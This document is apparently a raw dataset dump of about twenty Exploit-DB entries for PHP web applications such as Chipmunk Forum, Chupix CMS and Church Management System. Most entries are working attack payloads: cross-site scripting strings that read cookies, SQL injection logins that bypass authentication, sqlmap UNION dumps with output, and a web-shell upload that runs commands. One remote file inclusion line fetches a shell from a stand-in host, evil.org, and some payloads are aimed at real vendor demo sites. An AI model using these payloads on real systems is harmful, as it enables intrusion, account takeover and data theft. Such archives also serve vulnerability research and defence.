deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26379
Description: Chipmunk Forum - 'quote.php?forumID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-20
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/15149/info
 
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/board/quote.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E
Exploit-DB #26380
Description: Chipmunk Forum - 'recommend.php?ID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-20
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/15149/info
  
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/topsites/recommend.php?ID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E
Exploit-DB #809
Description: Chipmunk Forums - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-10
Author: GHC

Exploit:
/*==========================================*/
// GHC -> Chipmunk forum <- ADVISORY
// Product: Chipmunk Forums
// URL: http://www.chipmunk-scripts.com/board
// VULNERABILITY CLASS: SQL injection
// RISK: hight
/*==========================================*/

[exploit]
at login.php enter user name as
Administrator'/*

# milw0rm.com [2005-02-10]
Exploit-DB #27629
Description: Chipmunk Guestbook 1.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-12
Author: Dr.Jr7

Exploit:
source: https://www.securityfocus.com/bid/17483/info

Chipmunk Guestbook is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/user/index.php?SID=[SQL]
Exploit-DB #27015
Description: Chipmunk Guestbook 1.4 - Homepage HTML Injection
Type: webapps
Platform: php
Date: 2005-12-29
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16112/info

Chipmunk Guestbook is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

Add an entry form:
http://www.example.com/guestbook/addentry.php

Homepage value: '></a><script>alert(123);</script>
Exploit-DB #10337
Description: Chipmunk NewsLetter - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-07
Author: mr_me

Exploit:
#################################################################
#
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################

There’s probably a lot more vulnerabilities in their web apps, but 
I could not even get them to work out of the box..

http://server/newsletter/admin/addlist.php
Look no sanitization:

8<-------snip---------8<

if(isset($_POST['submit'])) 
   {
     $list=$_POST['list'];
     if(strlen($list)<1)
     {
       print "You did not enter the name of the email list.";
     }
     else
     {
       $addemail="Insert into m_newsletters(newslettername) values('$list')";
       mysql_query($addemail) or die("Could not add list");
       print "List added.";

     }

8<-------snip---------8<

POC POST request:
list=<script>alert('i could get your cookie')</script>&submit=submit
Exploit-DB #33967
Description: Chipmunk NewsLetter 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-20
Author: b0telh0

Exploit:
source: https://www.securityfocus.com/bid/40024/info

Chipmunk Newsletter is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Chipmunk Newsletter 2.0 is vulnerable; other versions may also be affected. 

::[ inurl:admin/login.php "Registering Admin" ]::



1 - http://localhost/sub.php

POSTDATA:
email=<script>alert(&#039;xss&#039;)</script>&choice=sub&lists=1&submit=submit



2 - http://localhost/admin/addaddress.php

POSTDATA:
email=<script>alert(&#039;xss&#039;)</script>&lists=1&submit=submit


then we can check it...



http://localhost/admin/searchaddress.php

POSTDATA:
theaddress=<script>alert(&#039;xss&#039;)</script>&submit=submit
Exploit-DB #15223
Description: Chipmunk Pwngame - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-10-09
Author: KnocKout

Exploit:
===================================================
Chipmunk Pwngame <= Multiple SQL() Vulnerabilities
===================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
AQ. "Rüyalarýma bitek Uyuyoken kavuþuyosam Anladýmki Ölmekte zor deðil.."
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Chipmunk Pwngame
~Software: http://www.chipmunk-scripts.com/page.php?ID=34
~Vulnerability Style : SQL Vulnerabilities
-----------
~Demo:  http://www.chipmunk-scripts.com/pwngame/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation| Auth bypass() ~~~~~~~~~~~
    http://VICTIM/Path/login.php
     Username : ' or 1=1-- -H4x0reSEC
     Password : ' or 1=1-- -H4x0reSEC
    ================================
    ~~~~~~~~ Explotation| Blind SQL Inj()  ~~~~~~~~~~~
     http://VICTIM/Path/pwn.php?ID=1 [Blind]
     http://VICTIM/Path/pwn.php?ID=1 and 1=0
     http://VICTIM/Path/pwn.php?ID=1 and 1=1
    ================================
Exploit-DB #7227
Description: chipmunk topsites - Authentication Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-25
Author: ZoRLu

Exploit:
[~] Chipmunk Topsites (Auth Bypass) SQL Injection & XSS Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu ( or dont write anything )

note: generally admin name: admin 


exploit for demo:

http://www.chipmunk-scripts.com/topsites/login.php

username: admin ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )

or 

username: zorlu ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )


XSS:

http://www.arcade-classics.net/top100/index.php?start="><script>alert()</script>

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25]
Exploit-DB #31390
Description: Chris LaPointe Download Center 1.2 - 'category' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28219/info
 
Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=browse&category="><script>alert("xss")</script>
Exploit-DB #31391
Description: Chris LaPointe Download Center 1.2 - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28219/info
  
Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=search_results&search="><script>alert(document.cookie)</script>
Exploit-DB #31389
Description: Chris LaPointe Download Center 1.2 - login Action Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28219/info

Download Center is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect Download Center 1.2; other versions may also be vulnerable. 

http://www.example.com/downloadcenter/?nav=login&message="><script>alert(document.cookie)</script>
Exploit-DB #37050
Description: Chronosite 5.12 - SQL Injection
Type: webapps
Platform: php
Date: 2015-05-18
Author: Wadeek

Exploit:
# Exploit Title: Chronosite 5.12 SQL Injection
# Google Dork: filetype:php inurl:"/archives.php" intext:"ARCHIVES Chrono-site"
# Date: 13/05/15
# Exploit Author: Wad Deek
# Vendor Homepage: http://www.chronosite.org/
# Software Link: http://www.chronosite.org/chrono_upload/chronosite_512.zip
# Version: 5.12
# Tested on: Xampp on Windows7
################################################################
PoC = http://127.0.0.1/cms/chronosite_512/archives.php?numero=%27
################################################################
Exploit-DB #27570
Description: Chucky A. Ivey N.T. 1.1 - 'index.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-05
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17387/info

N.T. is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit these issues to control how the site is rendered to the user; other attacks are also possible.

URL: http://www.example.com/index.php
Username: [XSS]
Password: any

URL: http://www.example.com/index.php? id=editticker
Ticker width: 100"; [PHP_CODE] $aaa="
Exploit-DB #4462
Description: Chupix CMS 0.2.3 - 'repertoire' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-27
Author: 0in

Exploit:
#chupix 0.2.3 /admin/include/header.php RFI
#f0und by 0in
#contact: 0in.email@gmail.com
#Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex
#team:Our Dark-Coders team;]
--------------------------------------------------------------------------------------------------------------------
#register_globals=On
BUG:
include($repertoire .'db/config/config.php');  // lecture de la configuration souhaitÃ©e par l'utilisateur
 include($repertoire .'include/template.php');             // classe de crÃ©ation des templates
 include($repertoire .'include/MyTxt.php');                // inclusion de la classe MyTxt
 $path_lang = $repertoire ."langues/". $conf__lang ."/admin.php";
 include($path_lang);                                      // Chargement du fichier de langues

EXPLOIT:
http://x.com/[patch]/admin/include/header.php?repertoire=http://evil.org/shell.txt ?
--------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-09-27]
Exploit-DB #32180
Description: Chupix CMS Contact Module 0.1 - 'index.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-08-06
Author: casper41

Exploit:
source: https://www.securityfocus.com/bid/30564/info

The Contact module for Chupix CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Contact 0.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?module=[LFI]
http://www.example.com/path/admin/index.php?module=[LFI]
Exploit-DB #32282
Description: Church Edit - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-03-15
Author: ThatIcyChill

Exploit:
Exploit Title: Church Edit Blind SQL Injection
Google Dork: inurl:This website is powered by Church Edit
Date: 15/3/2013
Exploit Author: ThatIcyChill
Vendor Homepage: http://www.churchedit.co.uk/
Version: Initial Release
��������������������������������������������������������������������

The file "/photos/gallery.php" contains a Blind SQL
Injection Vulnerability in the '?gallery_id=' variable in the URL.

��������������������������������������������������������������������
GET /photos/gallery.php?gallery_id=1%20and%201=2&pg=1 HTTP/1.1
Host: <>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Mar 2014 17:42:40 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
��������������������������������������������������������������������

Sample injection - www.example.org/photos/gallery.php?gallery_id=1 AND SLEEP(5)&pg=1
Exploit-DB #50091
Description: Church Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Church Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10

# Proof of Concept :

#Payload: <img src=x onerror=alert(1)>
#Injectable parameters : amount=  and trcode=

###################### REQUEST ##########################################

POST /cman/members/Tithes.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/members/Tithes.php
Cookie: PHPSESSID=cne2l4cs96krjqpbpus7nv2sjc
Upgrade-Insecure-Requests: 1

amount=<img+src%3dx+onerror%3dalert(1)>&trcode=<img+src%3dx+onerror%3dalert(1)>&save=
Exploit-DB #50092
Description: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :

1-Go to http://target.com/cman/admin
2-Write the following payload to username and admin parameter and click login.

######################## REQUEST ###############################

POST /cman/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/admin/index.php
Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc
Upgrade-Insecure-Requests: 1

username=test&password=%27+or+%27a%27%3D%27a&login=

################################################################

PAYLOAD:

# username : test
# password : ' or 'a'='a
Exploit-DB #50303
Description: Church Management System 1.0 - 'search' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-09-20
Author: Erwin Krazek

Exploit:
# Exploit Title: Church Management System 1.0 - 'search' SQL Injection (Unauthenticated)
# Exploit Author: Erwin Krazek (Nero)
# Date: 17/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Vendor: oretnom23
# Version: v1.0
# Tested on: Linux, Apache, Mysql
# Exploit Description:
Church Management System 1.0 suffers from an unauthenticated SQL Injection Vulnerability in 'search' parameter allowing remote attackers to dump the SQL database using SQL Injection attack.

# Vulnerable Code
In search.php on line 28
$count_all = $conn->query("SELECT b.*,concat(u.firstname,' ',u.lastname) as author FROM `blogs` b inner join `users` u on b.author_id = u.id where b.`status` =1 and (b.`title` LIKE '%{$_GET['search']}%' OR b.`meta_description` LIKE '%{$_GET['search']}%' OR b.`keywords` LIKE '%{$_GET['search']}%' OR b.`content` LIKE '%{$_GET['search']}%' )")->num_rows;

Sqlmap command:
sqlmap -u 'http://localhost/church_management/?p=search&search=abcsw' -p search --level=5 --risk=3 --dbs --random-agent --eta --batch

Output:
---
Parameter: search (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=search&search=abcsw') OR NOT 4306=4306-- rFTu

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=search&search=abcsw') AND (SELECT 7513 FROM (SELECT(SLEEP(5)))SsaK)-- zpac

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: p=search&search=abcsw') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x456e6d[PII_REDACTED]466e[PII_REDACTED]4f786d74596e6270647a[PII_REDACTED]697970744a[PII_REDACTED],0x[PII_REDACTED]),NULL,NULL,NULL,NULL-- -
---
[17:33:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:33:38] [INFO] fetching database names
available databases [4]:
[*] church_db
[*] information_schema
[*] mysql
[*] performance_schema
Exploit-DB #50090
Description: Church Management System 1.0 - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Church Management System 1.0 - Unrestricted File Upload to Remote Code Execution (Authenticated)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# CVE : N/A

# Proof of Concept :

1- Login any user account and change profile picture.
2- Upload any php shell by altering it's extension to .jpg or .png. (i.e test.php.jpg)
3- Before uploading your file, intercept your traffic by using any proxy.
4- Change test.php.jpg file to test.php and click forward.
5- Find your test.php file path and try any command.


###################### REQUEST ##########################################

GET /cman/members/uploads/test.php?cmd=SYSTEMINFO HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/cman/members/dashboard.php
Cookie: PHPSESSID=cne8l4ct93krjqobdus7nv2sjc

####################### RESPONSE #########################################

HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 11:28:16 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.0.3
X-Powered-By: PHP/8.0.3
Content-Length: 4410
Connection: close
Content-Type: text/html; charset=UTF-8


Host Name:                 MRT
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19043 N/A Build 19043
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Murat  
System Boot Time:          6/25/2021, 2:51:40 PM
System Manufacturer:       Dell Inc.
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.


############################################################################